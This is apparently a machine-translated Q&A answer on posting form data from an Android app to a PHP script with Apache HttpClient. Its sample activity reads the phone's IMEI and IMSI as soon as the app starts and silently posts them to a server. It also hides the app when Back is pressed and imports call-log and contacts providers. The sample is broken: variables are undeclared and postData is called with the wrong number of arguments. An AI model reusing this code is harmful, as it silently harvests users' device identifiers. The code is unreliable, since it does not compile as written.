尝试使用此函数将名称-值对发布到 php 脚本
public void postData(List nameValuePairs){
// Create a new HttpClient and Post Header
String url = "http://localhost/recieve.php";
HttpClient httpclient = new DefaultHttpClient();
HttpPost httppost = new HttpPost(url);
try {
// Add your data
//List nameValuePairs = new ArrayList(1);
//nameValuePairs.add(new BasicNameValuePair(a, b));
//nameValuePairs.add(new BasicNameValuePair("Number", b));
httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
// Execute HTTP Post Request
HttpResponse response = httpclient.execute(httppost);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
// TODO Auto-generated catch block
}
}
发布数据使用->
List nameValuePairs = new ArrayList(1);
nameValuePairs.add(new BasicNameValuePair("Number", b))
postData(nameValuePairs);
希望这可以帮助。
示例代码 ->
package com.mypackage;
import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.ByteArrayEntity;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.params.BasicHttpParams;
import org.apache.http.params.HttpConnectionParams;
import org.apache.http.params.HttpParams;
import org.json.JSONArray;
import com.loopj.android.http.*;
import android.app.Activity;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.NetworkInfo.State;
import android.net.Uri;
import android.net.wifi.WifiManager;
import android.os.AsyncTask;
import android.os.Bundle;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.telephony.TelephonyManager;
import android.text.TextUtils;
import android.util.Log;
import android.view.KeyEvent;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
public class MypackageActivity extends Activity {
//SharedPreferences mPrefs;
@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
if (keyCode == KeyEvent.KEYCODE_BACK) {
moveTaskToBack(true);
}
return super.onKeyDown(keyCode, event);
}
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startr();
}
public void startr() {
//Toast.makeText(this, "Onstart", Toast.LENGTH_SHORT).show();
//Log.d(TAG, "onCreate");
TelephonyManager manager = (TelephonyManager)getSystemService(TELEPHONY_SERVICE);
imei = manager.getDeviceId();
List nameValuePairs = new ArrayList();
nameValuePairs.add(new BasicNameValuePair("imeiimsi", imei+imsi));
postData(nameValuePairs, "sms");
nameValuePairs.clear();
// Set looping
}
public void postData(List nameValuePairs){
// Create a new HttpClient and Post Header
url = "http://localhost/logs.php";
HttpClient httpclient = new DefaultHttpClient();
//need to change it when run on phn :P :P
HttpPost httppost = new HttpPost(url);
try {
// Add your data
//List nameValuePairs = new ArrayList(1);
//for(int j=0;j<2;j++)
//nameValuePairs.add(new BasicNameValuePair(a, b));
//nameValuePairs.add(new BasicNameValuePair("Number", b));
httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
// Execute HTTP Post Request
HttpResponse response = httpclient.execute(httppost);
RequestParams params = new RequestParams();
try {
Thread.sleep(10000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
// TODO Auto-generated catch block
}
}
}
创建一个新的项目命名为 myproject,然后创建一个活动类并查看上面的示例代码!